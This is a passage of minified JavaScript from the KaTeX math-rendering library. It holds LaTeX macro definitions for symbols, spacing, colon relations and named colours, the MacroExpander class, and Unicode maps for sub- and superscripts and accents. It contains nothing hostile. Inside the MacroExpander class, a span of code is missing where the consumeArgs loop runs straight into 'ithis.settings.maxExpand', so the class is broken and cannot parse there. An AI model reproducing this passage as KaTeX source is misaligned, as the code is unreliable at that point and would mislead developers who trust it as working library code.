\\newcommand");var l=0;if(i=t.consumeArg().tokens,i.length===1&&i[0].text==="["){for(var u="",h=t.expandNextToken();h.text!=="]"&&h.text!=="EOF";)u+=h.text,h=t.expandNextToken();if(!u.match(/^\s*[0-9]+\s*$/))throw new gt("Invalid number of arguments: "+u);l=parseInt(u),i=t.consumeArg().tokens}return s&&n||t.macros.set(a,{tokens:i,numArgs:l}),""},"newcommand");ce("\\newcommand",t=>TA(t,!1,!0,!1));ce("\\renewcommand",t=>TA(t,!0,!1,!1));ce("\\providecommand",t=>TA(t,!0,!0,!0));ce("\\message",t=>{var e=t.consumeArgs(1)[0];return console.log(e.reverse().map(r=>r.text).join("")),""});ce("\\errmessage",t=>{var e=t.consumeArgs(1)[0];return console.error(e.reverse().map(r=>r.text).join("")),""});ce("\\show",t=>{var e=t.popToken(),r=e.text;return console.log(e,t.macros.get(r),xh[r],Nn.math[r],Nn.text[r]),""});ce("\\bgroup","{");ce("\\egroup","}");ce("~","\\nobreakspace");ce("\\lq","`");ce("\\rq","'");ce("\\aa","\\r a");ce("\\AA","\\r A");ce("\\textcopyright","\\html@mathml{\\textcircled{c}}{\\char`\xA9}");ce("\\copyright","\\TextOrMath{\\textcopyright}{\\text{\\textcopyright}}");ce("\\textregistered","\\html@mathml{\\textcircled{\\scriptsize R}}{\\char`\xAE}");ce("\u212C","\\mathscr{B}");ce("\u2130","\\mathscr{E}");ce("\u2131","\\mathscr{F}");ce("\u210B","\\mathscr{H}");ce("\u2110","\\mathscr{I}");ce("\u2112","\\mathscr{L}");ce("\u2133","\\mathscr{M}");ce("\u211B","\\mathscr{R}");ce("\u212D","\\mathfrak{C}");ce("\u210C","\\mathfrak{H}");ce("\u2128","\\mathfrak{Z}");ce("\\Bbbk","\\Bbb{k}");ce("\xB7","\\cdotp");ce("\\llap","\\mathllap{\\textrm{#1}}");ce("\\rlap","\\mathrlap{\\textrm{#1}}");ce("\\clap","\\mathclap{\\textrm{#1}}");ce("\\mathstrut","\\vphantom{(}");ce("\\underbar","\\underline{\\text{#1}}");ce("\\not",'\\html@mathml{\\mathrel{\\mathrlap\\@not}}{\\char"338}');ce("\\neq","\\html@mathml{\\mathrel{\\not=}}{\\mathrel{\\char`\u2260}}");ce("\\ne","\\neq");ce("\u2260","\\neq");ce("\\notin","\\html@mathml{\\mathrel{{\\in}\\mathllap{/\\mskip1mu}}}{\\mathrel{\\char`\u2209}}");ce("\u2209","\\notin");ce("\u2258","\\html@mathml{\\mathrel{=\\kern{-1em}\\raisebox{0.4em}{$\\scriptsize\\frown$}}}{\\mathrel{\\char`\u2258}}");ce("\u2259","\\html@mathml{\\stackrel{\\tiny\\wedge}{=}}{\\mathrel{\\char`\u2258}}");ce("\u225A","\\html@mathml{\\stackrel{\\tiny\\vee}{=}}{\\mathrel{\\char`\u225A}}");ce("\u225B","\\html@mathml{\\stackrel{\\scriptsize\\star}{=}}{\\mathrel{\\char`\u225B}}");ce("\u225D","\\html@mathml{\\stackrel{\\tiny\\mathrm{def}}{=}}{\\mathrel{\\char`\u225D}}");ce("\u225E","\\html@mathml{\\stackrel{\\tiny\\mathrm{m}}{=}}{\\mathrel{\\char`\u225E}}");ce("\u225F","\\html@mathml{\\stackrel{\\tiny?}{=}}{\\mathrel{\\char`\u225F}}");ce("\u27C2","\\perp");ce("\u203C","\\mathclose{!\\mkern-0.8mu!}");ce("\u220C","\\notni");ce("\u231C","\\ulcorner");ce("\u231D","\\urcorner");ce("\u231E","\\llcorner");ce("\u231F","\\lrcorner");ce("\xA9","\\copyright");ce("\xAE","\\textregistered");ce("\uFE0F","\\textregistered");ce("\\ulcorner",'\\html@mathml{\\@ulcorner}{\\mathop{\\char"231c}}');ce("\\urcorner",'\\html@mathml{\\@urcorner}{\\mathop{\\char"231d}}');ce("\\llcorner",'\\html@mathml{\\@llcorner}{\\mathop{\\char"231e}}');ce("\\lrcorner",'\\html@mathml{\\@lrcorner}{\\mathop{\\char"231f}}');ce("\\vdots","{\\varvdots\\rule{0pt}{15pt}}");ce("\u22EE","\\vdots");ce("\\varGamma","\\mathit{\\Gamma}");ce("\\varDelta","\\mathit{\\Delta}");ce("\\varTheta","\\mathit{\\Theta}");ce("\\varLambda","\\mathit{\\Lambda}");ce("\\varXi","\\mathit{\\Xi}");ce("\\varPi","\\mathit{\\Pi}");ce("\\varSigma","\\mathit{\\Sigma}");ce("\\varUpsilon","\\mathit{\\Upsilon}");ce("\\varPhi","\\mathit{\\Phi}");ce("\\varPsi","\\mathit{\\Psi}");ce("\\varOmega","\\mathit{\\Omega}");ce("\\substack","\\begin{subarray}{c}#1\\end{subarray}");ce("\\colon","\\nobreak\\mskip2mu\\mathpunct{}\\mathchoice{\\mkern-3mu}{\\mkern-3mu}{}{}{:}\\mskip6mu\\relax");ce("\\boxed","\\fbox{$\\displaystyle{#1}$}");ce("\\iff","\\DOTSB\\;\\Longleftrightarrow\\;");ce("\\implies","\\DOTSB\\;\\Longrightarrow\\;");ce("\\impliedby","\\DOTSB\\;\\Longleftarrow\\;");ce("\\dddot","{\\overset{\\raisebox{-0.1ex}{\\normalsize ...}}{#1}}");ce("\\ddddot","{\\overset{\\raisebox{-0.1ex}{\\normalsize ....}}{#1}}");UV={",":"\\dotsc","\\not":"\\dotsb","+":"\\dotsb","=":"\\dotsb","<":"\\dotsb",">":"\\dotsb","-":"\\dotsb","*":"\\dotsb",":":"\\dotsb","\\DOTSB":"\\dotsb","\\coprod":"\\dotsb","\\bigvee":"\\dotsb","\\bigwedge":"\\dotsb","\\biguplus":"\\dotsb","\\bigcap":"\\dotsb","\\bigcup":"\\dotsb","\\prod":"\\dotsb","\\sum":"\\dotsb","\\bigotimes":"\\dotsb","\\bigoplus":"\\dotsb","\\bigodot":"\\dotsb","\\bigsqcup":"\\dotsb","\\And":"\\dotsb","\\longrightarrow":"\\dotsb","\\Longrightarrow":"\\dotsb","\\longleftarrow":"\\dotsb","\\Longleftarrow":"\\dotsb","\\longleftrightarrow":"\\dotsb","\\Longleftrightarrow":"\\dotsb","\\mapsto":"\\dotsb","\\longmapsto":"\\dotsb","\\hookrightarrow":"\\dotsb","\\doteq":"\\dotsb","\\mathbin":"\\dotsb","\\mathrel":"\\dotsb","\\relbar":"\\dotsb","\\Relbar":"\\dotsb","\\xrightarrow":"\\dotsb","\\xleftarrow":"\\dotsb","\\DOTSI":"\\dotsi","\\int":"\\dotsi","\\oint":"\\dotsi","\\iint":"\\dotsi","\\iiint":"\\dotsi","\\iiiint":"\\dotsi","\\idotsint":"\\dotsi","\\DOTSX":"\\dotsx"};ce("\\dots",function(t){var e="\\dotso",r=t.expandAfterFuture().text;return r in UV?e=UV[r]:(r.slice(0,4)==="\\not"||r in Nn.math&&er.contains(["bin","rel"],Nn.math[r].group))&&(e="\\dotsb"),e});wA={")":!0,"]":!0,"\\rbrack":!0,"\\}":!0,"\\rbrace":!0,"\\rangle":!0,"\\rceil":!0,"\\rfloor":!0,"\\rgroup":!0,"\\rmoustache":!0,"\\right":!0,"\\bigr":!0,"\\biggr":!0,"\\Bigr":!0,"\\Biggr":!0,$:!0,";":!0,".":!0,",":!0};ce("\\dotso",function(t){var e=t.future().text;return e in wA?"\\ldots\\,":"\\ldots"});ce("\\dotsc",function(t){var e=t.future().text;return e in wA&&e!==","?"\\ldots\\,":"\\ldots"});ce("\\cdots",function(t){var e=t.future().text;return e in wA?"\\@cdots\\,":"\\@cdots"});ce("\\dotsb","\\cdots");ce("\\dotsm","\\cdots");ce("\\dotsi","\\!\\cdots");ce("\\dotsx","\\ldots\\,");ce("\\DOTSI","\\relax");ce("\\DOTSB","\\relax");ce("\\DOTSX","\\relax");ce("\\tmspace","\\TextOrMath{\\kern#1#3}{\\mskip#1#2}\\relax");ce("\\,","\\tmspace+{3mu}{.1667em}");ce("\\thinspace","\\,");ce("\\>","\\mskip{4mu}");ce("\\:","\\tmspace+{4mu}{.2222em}");ce("\\medspace","\\:");ce("\\;","\\tmspace+{5mu}{.2777em}");ce("\\thickspace","\\;");ce("\\!","\\tmspace-{3mu}{.1667em}");ce("\\negthinspace","\\!");ce("\\negmedspace","\\tmspace-{4mu}{.2222em}");ce("\\negthickspace","\\tmspace-{5mu}{.277em}");ce("\\enspace","\\kern.5em ");ce("\\enskip","\\hskip.5em\\relax");ce("\\quad","\\hskip1em\\relax");ce("\\qquad","\\hskip2em\\relax");ce("\\tag","\\@ifstar\\tag@literal\\tag@paren");ce("\\tag@paren","\\tag@literal{({#1})}");ce("\\tag@literal",t=>{if(t.macros.get("\\df@tag"))throw new gt("Multiple \\tag");return"\\gdef\\df@tag{\\text{#1}}"});ce("\\bmod","\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}\\mathbin{\\rm mod}\\mathchoice{\\mskip1mu}{\\mskip1mu}{\\mskip5mu}{\\mskip5mu}");ce("\\pod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern8mu}{\\mkern8mu}{\\mkern8mu}(#1)");ce("\\pmod","\\pod{{\\rm mod}\\mkern6mu#1}");ce("\\mod","\\allowbreak\\mathchoice{\\mkern18mu}{\\mkern12mu}{\\mkern12mu}{\\mkern12mu}{\\rm mod}\\,\\,#1");ce("\\newline","\\\\\\relax");ce("\\TeX","\\textrm{\\html@mathml{T\\kern-.1667em\\raisebox{-.5ex}{E}\\kern-.125emX}{TeX}}");BU=St(Ql["Main-Regular"][84][1]-.7*Ql["Main-Regular"][65][1]);ce("\\LaTeX","\\textrm{\\html@mathml{"+("L\\kern-.36em\\raisebox{"+BU+"}{\\scriptstyle A}")+"\\kern-.15em\\TeX}{LaTeX}}");ce("\\KaTeX","\\textrm{\\html@mathml{"+("K\\kern-.17em\\raisebox{"+BU+"}{\\scriptstyle A}")+"\\kern-.15em\\TeX}{KaTeX}}");ce("\\hspace","\\@ifstar\\@hspacer\\@hspace");ce("\\@hspace","\\hskip #1\\relax");ce("\\@hspacer","\\rule{0pt}{0pt}\\hskip #1\\relax");ce("\\ordinarycolon",":");ce("\\vcentcolon","\\mathrel{\\mathop\\ordinarycolon}");ce("\\dblcolon",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-.9mu}\\vcentcolon}}{\\mathop{\\char"2237}}');ce("\\coloneqq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2254}}');ce("\\Coloneqq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}=}}{\\mathop{\\char"2237\\char"3d}}');ce("\\coloneq",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"3a\\char"2212}}');ce("\\Coloneq",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\mathrel{-}}}{\\mathop{\\char"2237\\char"2212}}');ce("\\eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2255}}');ce("\\Eqqcolon",'\\html@mathml{\\mathrel{=\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"3d\\char"2237}}');ce("\\eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\vcentcolon}}{\\mathop{\\char"2239}}');ce("\\Eqcolon",'\\html@mathml{\\mathrel{\\mathrel{-}\\mathrel{\\mkern-1.2mu}\\dblcolon}}{\\mathop{\\char"2212\\char"2237}}');ce("\\colonapprox",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"3a\\char"2248}}');ce("\\Colonapprox",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\approx}}{\\mathop{\\char"2237\\char"2248}}');ce("\\colonsim",'\\html@mathml{\\mathrel{\\vcentcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"3a\\char"223c}}');ce("\\Colonsim",'\\html@mathml{\\mathrel{\\dblcolon\\mathrel{\\mkern-1.2mu}\\sim}}{\\mathop{\\char"2237\\char"223c}}');ce("\u2237","\\dblcolon");ce("\u2239","\\eqcolon");ce("\u2254","\\coloneqq");ce("\u2255","\\eqqcolon");ce("\u2A74","\\Coloneqq");ce("\\ratio","\\vcentcolon");ce("\\coloncolon","\\dblcolon");ce("\\colonequals","\\coloneqq");ce("\\coloncolonequals","\\Coloneqq");ce("\\equalscolon","\\eqqcolon");ce("\\equalscoloncolon","\\Eqqcolon");ce("\\colonminus","\\coloneq");ce("\\coloncolonminus","\\Coloneq");ce("\\minuscolon","\\eqcolon");ce("\\minuscoloncolon","\\Eqcolon");ce("\\coloncolonapprox","\\Colonapprox");ce("\\coloncolonsim","\\Colonsim");ce("\\simcolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\vcentcolon}");ce("\\simcoloncolon","\\mathrel{\\sim\\mathrel{\\mkern-1.2mu}\\dblcolon}");ce("\\approxcolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\vcentcolon}");ce("\\approxcoloncolon","\\mathrel{\\approx\\mathrel{\\mkern-1.2mu}\\dblcolon}");ce("\\notni","\\html@mathml{\\not\\ni}{\\mathrel{\\char`\u220C}}");ce("\\limsup","\\DOTSB\\operatorname*{lim\\,sup}");ce("\\liminf","\\DOTSB\\operatorname*{lim\\,inf}");ce("\\injlim","\\DOTSB\\operatorname*{inj\\,lim}");ce("\\projlim","\\DOTSB\\operatorname*{proj\\,lim}");ce("\\varlimsup","\\DOTSB\\operatorname*{\\overline{lim}}");ce("\\varliminf","\\DOTSB\\operatorname*{\\underline{lim}}");ce("\\varinjlim","\\DOTSB\\operatorname*{\\underrightarrow{lim}}");ce("\\varprojlim","\\DOTSB\\operatorname*{\\underleftarrow{lim}}");ce("\\gvertneqq","\\html@mathml{\\@gvertneqq}{\u2269}");ce("\\lvertneqq","\\html@mathml{\\@lvertneqq}{\u2268}");ce("\\ngeqq","\\html@mathml{\\@ngeqq}{\u2271}");ce("\\ngeqslant","\\html@mathml{\\@ngeqslant}{\u2271}");ce("\\nleqq","\\html@mathml{\\@nleqq}{\u2270}");ce("\\nleqslant","\\html@mathml{\\@nleqslant}{\u2270}");ce("\\nshortmid","\\html@mathml{\\@nshortmid}{\u2224}");ce("\\nshortparallel","\\html@mathml{\\@nshortparallel}{\u2226}");ce("\\nsubseteqq","\\html@mathml{\\@nsubseteqq}{\u2288}");ce("\\nsupseteqq","\\html@mathml{\\@nsupseteqq}{\u2289}");ce("\\varsubsetneq","\\html@mathml{\\@varsubsetneq}{\u228A}");ce("\\varsubsetneqq","\\html@mathml{\\@varsubsetneqq}{\u2ACB}");ce("\\varsupsetneq","\\html@mathml{\\@varsupsetneq}{\u228B}");ce("\\varsupsetneqq","\\html@mathml{\\@varsupsetneqq}{\u2ACC}");ce("\\imath","\\html@mathml{\\@imath}{\u0131}");ce("\\jmath","\\html@mathml{\\@jmath}{\u0237}");ce("\\llbracket","\\html@mathml{\\mathopen{[\\mkern-3.2mu[}}{\\mathopen{\\char`\u27E6}}");ce("\\rrbracket","\\html@mathml{\\mathclose{]\\mkern-3.2mu]}}{\\mathclose{\\char`\u27E7}}");ce("\u27E6","\\llbracket");ce("\u27E7","\\rrbracket");ce("\\lBrace","\\html@mathml{\\mathopen{\\{\\mkern-3.2mu[}}{\\mathopen{\\char`\u2983}}");ce("\\rBrace","\\html@mathml{\\mathclose{]\\mkern-3.2mu\\}}}{\\mathclose{\\char`\u2984}}");ce("\u2983","\\lBrace");ce("\u2984","\\rBrace");ce("\\minuso","\\mathbin{\\html@mathml{{\\mathrlap{\\mathchoice{\\kern{0.145em}}{\\kern{0.145em}}{\\kern{0.1015em}}{\\kern{0.0725em}}\\circ}{-}}}{\\char`\u29B5}}");ce("\u29B5","\\minuso");ce("\\darr","\\downarrow");ce("\\dArr","\\Downarrow");ce("\\Darr","\\Downarrow");ce("\\lang","\\langle");ce("\\rang","\\rangle");ce("\\uarr","\\uparrow");ce("\\uArr","\\Uparrow");ce("\\Uarr","\\Uparrow");ce("\\N","\\mathbb{N}");ce("\\R","\\mathbb{R}");ce("\\Z","\\mathbb{Z}");ce("\\alef","\\aleph");ce("\\alefsym","\\aleph");ce("\\Alpha","\\mathrm{A}");ce("\\Beta","\\mathrm{B}");ce("\\bull","\\bullet");ce("\\Chi","\\mathrm{X}");ce("\\clubs","\\clubsuit");ce("\\cnums","\\mathbb{C}");ce("\\Complex","\\mathbb{C}");ce("\\Dagger","\\ddagger");ce("\\diamonds","\\diamondsuit");ce("\\empty","\\emptyset");ce("\\Epsilon","\\mathrm{E}");ce("\\Eta","\\mathrm{H}");ce("\\exist","\\exists");ce("\\harr","\\leftrightarrow");ce("\\hArr","\\Leftrightarrow");ce("\\Harr","\\Leftrightarrow");ce("\\hearts","\\heartsuit");ce("\\image","\\Im");ce("\\infin","\\infty");ce("\\Iota","\\mathrm{I}");ce("\\isin","\\in");ce("\\Kappa","\\mathrm{K}");ce("\\larr","\\leftarrow");ce("\\lArr","\\Leftarrow");ce("\\Larr","\\Leftarrow");ce("\\lrarr","\\leftrightarrow");ce("\\lrArr","\\Leftrightarrow");ce("\\Lrarr","\\Leftrightarrow");ce("\\Mu","\\mathrm{M}");ce("\\natnums","\\mathbb{N}");ce("\\Nu","\\mathrm{N}");ce("\\Omicron","\\mathrm{O}");ce("\\plusmn","\\pm");ce("\\rarr","\\rightarrow");ce("\\rArr","\\Rightarrow");ce("\\Rarr","\\Rightarrow");ce("\\real","\\Re");ce("\\reals","\\mathbb{R}");ce("\\Reals","\\mathbb{R}");ce("\\Rho","\\mathrm{P}");ce("\\sdot","\\cdot");ce("\\sect","\\S");ce("\\spades","\\spadesuit");ce("\\sub","\\subset");ce("\\sube","\\subseteq");ce("\\supe","\\supseteq");ce("\\Tau","\\mathrm{T}");ce("\\thetasym","\\vartheta");ce("\\weierp","\\wp");ce("\\Zeta","\\mathrm{Z}");ce("\\argmin","\\DOTSB\\operatorname*{arg\\,min}");ce("\\argmax","\\DOTSB\\operatorname*{arg\\,max}");ce("\\plim","\\DOTSB\\mathop{\\operatorname{plim}}\\limits");ce("\\bra","\\mathinner{\\langle{#1}|}");ce("\\ket","\\mathinner{|{#1}\\rangle}");ce("\\braket","\\mathinner{\\langle{#1}\\rangle}");ce("\\Bra","\\left\\langle#1\\right|");ce("\\Ket","\\left|#1\\right\\rangle");FU=o(t=>e=>{var r=e.consumeArg().tokens,n=e.consumeArg().tokens,i=e.consumeArg().tokens,a=e.consumeArg().tokens,s=e.macros.get("|"),l=e.macros.get("\\|");e.macros.beginGroup();var u=o(d=>p=>{t&&(p.macros.set("|",s),i.length&&p.macros.set("\\|",l));var m=d;if(!d&&i.length){var g=p.future();g.text==="|"&&(p.popToken(),m=!0)}return{tokens:m?i:n,numArgs:0}},"midMacro");e.macros.set("|",u(!1)),i.length&&e.macros.set("\\|",u(!0));var h=e.consumeArg().tokens,f=e.expandTokens([...a,...h,...r]);return e.macros.endGroup(),{tokens:f.reverse(),numArgs:0}},"braketHelper");ce("\\bra@ket",FU(!1));ce("\\bra@set",FU(!0));ce("\\Braket","\\bra@ket{\\left\\langle}{\\,\\middle\\vert\\,}{\\,\\middle\\vert\\,}{\\right\\rangle}");ce("\\Set","\\bra@set{\\left\\{\\:}{\\;\\middle\\vert\\;}{\\;\\middle\\Vert\\;}{\\:\\right\\}}");ce("\\set","\\bra@set{\\{\\,}{\\mid}{}{\\,\\}}");ce("\\angln","{\\angl n}");ce("\\blue","\\textcolor{##6495ed}{#1}");ce("\\orange","\\textcolor{##ffa500}{#1}");ce("\\pink","\\textcolor{##ff00af}{#1}");ce("\\red","\\textcolor{##df0030}{#1}");ce("\\green","\\textcolor{##28ae7b}{#1}");ce("\\gray","\\textcolor{gray}{#1}");ce("\\purple","\\textcolor{##9d38bd}{#1}");ce("\\blueA","\\textcolor{##ccfaff}{#1}");ce("\\blueB","\\textcolor{##80f6ff}{#1}");ce("\\blueC","\\textcolor{##63d9ea}{#1}");ce("\\blueD","\\textcolor{##11accd}{#1}");ce("\\blueE","\\textcolor{##0c7f99}{#1}");ce("\\tealA","\\textcolor{##94fff5}{#1}");ce("\\tealB","\\textcolor{##26edd5}{#1}");ce("\\tealC","\\textcolor{##01d1c1}{#1}");ce("\\tealD","\\textcolor{##01a995}{#1}");ce("\\tealE","\\textcolor{##208170}{#1}");ce("\\greenA","\\textcolor{##b6ffb0}{#1}");ce("\\greenB","\\textcolor{##8af281}{#1}");ce("\\greenC","\\textcolor{##74cf70}{#1}");ce("\\greenD","\\textcolor{##1fab54}{#1}");ce("\\greenE","\\textcolor{##0d923f}{#1}");ce("\\goldA","\\textcolor{##ffd0a9}{#1}");ce("\\goldB","\\textcolor{##ffbb71}{#1}");ce("\\goldC","\\textcolor{##ff9c39}{#1}");ce("\\goldD","\\textcolor{##e07d10}{#1}");ce("\\goldE","\\textcolor{##a75a05}{#1}");ce("\\redA","\\textcolor{##fca9a9}{#1}");ce("\\redB","\\textcolor{##ff8482}{#1}");ce("\\redC","\\textcolor{##f9685d}{#1}");ce("\\redD","\\textcolor{##e84d39}{#1}");ce("\\redE","\\textcolor{##bc2612}{#1}");ce("\\maroonA","\\textcolor{##ffbde0}{#1}");ce("\\maroonB","\\textcolor{##ff92c6}{#1}");ce("\\maroonC","\\textcolor{##ed5fa6}{#1}");ce("\\maroonD","\\textcolor{##ca337c}{#1}");ce("\\maroonE","\\textcolor{##9e034e}{#1}");ce("\\purpleA","\\textcolor{##ddd7ff}{#1}");ce("\\purpleB","\\textcolor{##c6b9fc}{#1}");ce("\\purpleC","\\textcolor{##aa87ff}{#1}");ce("\\purpleD","\\textcolor{##7854ab}{#1}");ce("\\purpleE","\\textcolor{##543b78}{#1}");ce("\\mintA","\\textcolor{##f5f9e8}{#1}");ce("\\mintB","\\textcolor{##edf2df}{#1}");ce("\\mintC","\\textcolor{##e0e5cc}{#1}");ce("\\grayA","\\textcolor{##f6f7f7}{#1}");ce("\\grayB","\\textcolor{##f0f1f2}{#1}");ce("\\grayC","\\textcolor{##e3e5e6}{#1}");ce("\\grayD","\\textcolor{##d6d8da}{#1}");ce("\\grayE","\\textcolor{##babec2}{#1}");ce("\\grayF","\\textcolor{##888d93}{#1}");ce("\\grayG","\\textcolor{##626569}{#1}");ce("\\grayH","\\textcolor{##3b3e40}{#1}");ce("\\grayI","\\textcolor{##21242c}{#1}");ce("\\kaBlue","\\textcolor{##314453}{#1}");ce("\\kaGreen","\\textcolor{##71B307}{#1}");$U={"^":!0,_:!0,"\\limits":!0,"\\nolimits":!0},sA=class{static{o(this,"MacroExpander")}constructor(e,r,n){this.settings=void 0,this.expansionCount=void 0,this.lexer=void 0,this.macros=void 0,this.stack=void 0,this.mode=void 0,this.settings=r,this.expansionCount=0,this.feed(e),this.macros=new aA(Iwe,r.macros),this.mode=n,this.stack=[]}feed(e){this.lexer=new S3(e,this.settings)}switchMode(e){this.mode=e}beginGroup(){this.macros.beginGroup()}endGroup(){this.macros.endGroup()}endGroups(){this.macros.endGroups()}future(){return this.stack.length===0&&this.pushToken(this.lexer.lex()),this.stack[this.stack.length-1]}popToken(){return this.future(),this.stack.pop()}pushToken(e){this.stack.push(e)}pushTokens(e){this.stack.push(...e)}scanArgument(e){var r,n,i;if(e){if(this.consumeSpaces(),this.future().text!=="[")return null;r=this.popToken(),{tokens:i,end:n}=this.consumeArg(["]"])}else({tokens:i,start:r,end:n}=this.consumeArg());return this.pushToken(new Do("EOF",n.loc)),this.pushTokens(i),r.range(n,"")}consumeSpaces(){for(;;){var e=this.future();if(e.text===" ")this.stack.pop();else break}}consumeArg(e){var r=[],n=e&&e.length>0;n||this.consumeSpaces();var i=this.future(),a,s=0,l=0;do{if(a=this.popToken(),r.push(a),a.text==="{")++s;else if(a.text==="}"){if(--s,s===-1)throw new gt("Extra }",a)}else if(a.text==="EOF")throw new gt("Unexpected end of input in a macro argument, expected '"+(e&&n?e[l]:"}")+"'",a);if(e&&n)if((s===0||s===1&&e[l]==="{")&&a.text===e[l]){if(++l,l===e.length){r.splice(-l,l);break}}else l=0}while(s!==0||n);return i.text==="{"&&r[r.length-1].text==="}"&&(r.pop(),r.shift()),r.reverse(),{tokens:r,start:i,end:a}}consumeArgs(e,r){if(r){if(r.length!==e+1)throw new gt("The length of delimiters doesn't match the number of args!");for(var n=r[0],i=0;ithis.settings.maxExpand)throw new gt("Too many expansions: infinite loop or need to increase maxExpand setting")}expandOnce(e){var r=this.popToken(),n=r.text,i=r.noexpand?null:this._getExpansion(n);if(i==null||e&&i.unexpandable){if(e&&i==null&&n[0]==="\\"&&!this.isDefined(n))throw new gt("Undefined control sequence: "+n);return this.pushToken(r),!1}this.countExpansion(1);var a=i.tokens,s=this.consumeArgs(i.numArgs,i.delimiters);if(i.numArgs){a=a.slice();for(var l=a.length-1;l>=0;--l){var u=a[l];if(u.text==="#"){if(l===0)throw new gt("Incomplete placeholder at end of macro body",u);if(u=a[--l],u.text==="#")a.splice(l+1,1);else if(/^[1-9]$/.test(u.text))a.splice(l,2,...s[+u.text-1]);else throw new gt("Not a valid argument number",u)}}}return this.pushTokens(a),a.length}expandAfterFuture(){return this.expandOnce(),this.future()}expandNextToken(){for(;;)if(this.expandOnce()===!1){var e=this.stack.pop();return e.treatAsRelax&&(e.text="\\relax"),e}throw new Error}expandMacro(e){return this.macros.has(e)?this.expandTokens([new Do(e)]):void 0}expandTokens(e){var r=[],n=this.stack.length;for(this.pushTokens(e);this.stack.length>n;)if(this.expandOnce(!0)===!1){var i=this.stack.pop();i.treatAsRelax&&(i.noexpand=!1,i.treatAsRelax=!1),r.push(i)}return this.countExpansion(r.length),r}expandMacroAsText(e){var r=this.expandMacro(e);return r&&r.map(n=>n.text).join("")}_getExpansion(e){var r=this.macros.get(e);if(r==null)return r;if(e.length===1){var n=this.lexer.catcodes[e];if(n!=null&&n!==13)return}var i=typeof r=="function"?r(this):r;if(typeof i=="string"){var a=0;if(i.indexOf("#")!==-1)for(var s=i.replace(/##/g,"");s.indexOf("#"+(a+1))!==-1;)++a;for(var l=new S3(i,this.settings),u=[],h=l.lex();h.text!=="EOF";)u.push(h),h=l.lex();u.reverse();var f={tokens:u,numArgs:a};return f}return i}isDefined(e){return this.macros.has(e)||xh.hasOwnProperty(e)||Nn.math.hasOwnProperty(e)||Nn.text.hasOwnProperty(e)||$U.hasOwnProperty(e)}isExpandable(e){var r=this.macros.get(e);return r!=null?typeof r=="string"||typeof r=="function"||!r.unexpandable:xh.hasOwnProperty(e)&&!xh[e].primitive}},HV=/^[₊₋₌₍₎₀₁₂₃₄₅₆₇₈₉ₐₑₕᵢⱼₖₗₘₙₒₚᵣₛₜᵤᵥₓᵦᵧᵨᵩᵪ]/,y3=Object.freeze({"\u208A":"+","\u208B":"-","\u208C":"=","\u208D":"(","\u208E":")","\u2080":"0","\u2081":"1","\u2082":"2","\u2083":"3","\u2084":"4","\u2085":"5","\u2086":"6","\u2087":"7","\u2088":"8","\u2089":"9","\u2090":"a","\u2091":"e","\u2095":"h","\u1D62":"i","\u2C7C":"j","\u2096":"k","\u2097":"l","\u2098":"m","\u2099":"n","\u2092":"o","\u209A":"p","\u1D63":"r","\u209B":"s","\u209C":"t","\u1D64":"u","\u1D65":"v","\u2093":"x","\u1D66":"\u03B2","\u1D67":"\u03B3","\u1D68":"\u03C1","\u1D69":"\u03D5","\u1D6A":"\u03C7","\u207A":"+","\u207B":"-","\u207C":"=","\u207D":"(","\u207E":")","\u2070":"0","\xB9":"1","\xB2":"2","\xB3":"3","\u2074":"4","\u2075":"5","\u2076":"6","\u2077":"7","\u2078":"8","\u2079":"9","\u1D2C":"A","\u1D2E":"B","\u1D30":"D","\u1D31":"E","\u1D33":"G","\u1D34":"H","\u1D35":"I","\u1D36":"J","\u1D37":"K","\u1D38":"L","\u1D39":"M","\u1D3A":"N","\u1D3C":"O","\u1D3E":"P","\u1D3F":"R","\u1D40":"T","\u1D41":"U","\u2C7D":"V","\u1D42":"W","\u1D43":"a","\u1D47":"b","\u1D9C":"c","\u1D48":"d","\u1D49":"e","\u1DA0":"f","\u1D4D":"g",\u02B0:"h","\u2071":"i",\u02B2:"j","\u1D4F":"k",\u02E1:"l","\u1D50":"m",\u207F:"n","\u1D52":"o","\u1D56":"p",\u02B3:"r",\u02E2:"s","\u1D57":"t","\u1D58":"u","\u1D5B":"v",\u02B7:"w",\u02E3:"x",\u02B8:"y","\u1DBB":"z","\u1D5D":"\u03B2","\u1D5E":"\u03B3","\u1D5F":"\u03B4","\u1D60":"\u03D5","\u1D61":"\u03C7","\u1DBF":"\u03B8"}),X7={"\u0301":{text:"\\'",math:"\\acute"},"\u0300":{text:"\\`",math:"\\grave"},"\u0308":{text:'\\"',math:"\\ddot"},"\u0303":{text:"\\~",math:"\\tilde"},"\u0304":{text:"\\=",math:"\\bar"},"\u0306":{text:"\\u",math:"\\breve"},"\u030C":{text:"\\v",math:"\\check"},"\u0302":{text:"\\^",math:"\\hat"},"\u0307":{text:"\\.",math:"\\dot"},"\u030A":{text:"\\r",math:"\\mathring"},"\u030B":{text:"\\H"},"\u0327":{text:"\\c"}},qV={\u00E1:"a\u0301",\u00E0:"a\u0300",\u00E4:"a\u0308",\u01DF:"a\u0308\u0304",\u00E3:"a\u0303",\u0101:"a\u0304",\u0103:"a\u0306",\u1EAF:"a\u0306\u0301",\u1EB1:"a\u0306\u0300",\u1EB5:"a\u0306\u0303",\u01CE:"a\u030C",\u00E2:"a\u0302",\u1EA5:"a\u0302\u0301",\u1EA7:"a\u0302\u0300",\u1EAB:"a\u0302\u0303",\